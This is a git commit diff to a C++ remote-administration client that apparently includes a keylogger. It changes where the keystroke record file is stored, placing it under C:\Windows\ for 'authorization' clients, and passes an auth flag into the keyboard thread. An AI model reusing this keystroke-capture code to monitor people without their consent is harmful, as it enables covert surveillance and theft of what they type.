Fix: Authorization client use different keyboard log directory

This commit is contained in:
yuanyuanxiang
2026-06-19 20:29:22 +02:00
parent 5b37df26fd
commit 71963b740b
5 changed files with 7 additions and 6 deletions

View File

@@ -571,6 +571,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string expiredDate; std::string expiredDate;
BOOL isAuthKernel = IsAuthKernel(expiredDate); BOOL isAuthKernel = IsAuthKernel(expiredDate);
if (isAuthKernel) ParseAuthServer(&settings); if (isAuthKernel) ParseAuthServer(&settings);
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
std::string pubIP = cfg.GetStr("settings", "public_ip", ""); std::string pubIP = cfg.GetStr("settings", "public_ip", "");
// V2 authorization supports offline mode, verify signature and skip timeout check // V2 authorization supports offline mode, verify signature and skip timeout check
VERIFY_V2_AND_SET_AUTHORIZED(); VERIFY_V2_AND_SET_AUTHORIZED();
@@ -589,7 +590,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
} }
app.SetThreadRun(TRUE); app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP); ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
while (app.m_bIsRunning(&app)) { while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64(); ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {

View File

@@ -342,6 +342,7 @@ protected:
void *m_main = NULL; void *m_main = NULL;
public: public:
BOOL m_isAuth = FALSE;
std::string m_LoginMsg; // 登录消息摘要 std::string m_LoginMsg; // 登录消息摘要
std::string m_LoginSignature; // 登录消息签名 std::string m_LoginSignature; // 登录消息签名
}; };

View File

@@ -50,11 +50,12 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
return NULL; return NULL;
} }
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
{ {
ThreadInfo *tKeyboard = new ThreadInfo(); ThreadInfo *tKeyboard = new ThreadInfo();
tKeyboard->run = FOREVER_RUN; tKeyboard->run = FOREVER_RUN;
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP); auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
sub->m_isAuth = isAuth;
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
tKeyboard->p = sub; tKeyboard->p = sub;
tKeyboard->conn = conn; tKeyboard->conn = conn;

View File

@@ -25,7 +25,7 @@
// 根据配置决定采用什么通讯协议 // 根据配置决定采用什么通讯协议
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false); IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP); ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
class ActivityWindow class ActivityWindow
{ {

View File

@@ -52,10 +52,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
clip::set_error_handler(NULL); clip::set_error_handler(NULL);
#endif #endif
m_bIsOfflineRecord = offline; m_bIsOfflineRecord = offline;
CKernelManager* main = (CKernelManager*)pClient->GetMain();
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
char path[MAX_PATH] = { "C:\\Windows\\" }; char path[MAX_PATH] = { "C:\\Windows\\" };
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path)); if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
std::string fileName = GetExeHashStr() + ".db"; std::string fileName = GetExeHashStr() + ".db";
GET_FILEPATH(path, fileName.c_str()); GET_FILEPATH(path, fileName.c_str());
strcpy_s(m_strRecordFile, path); strcpy_s(m_strRecordFile, path);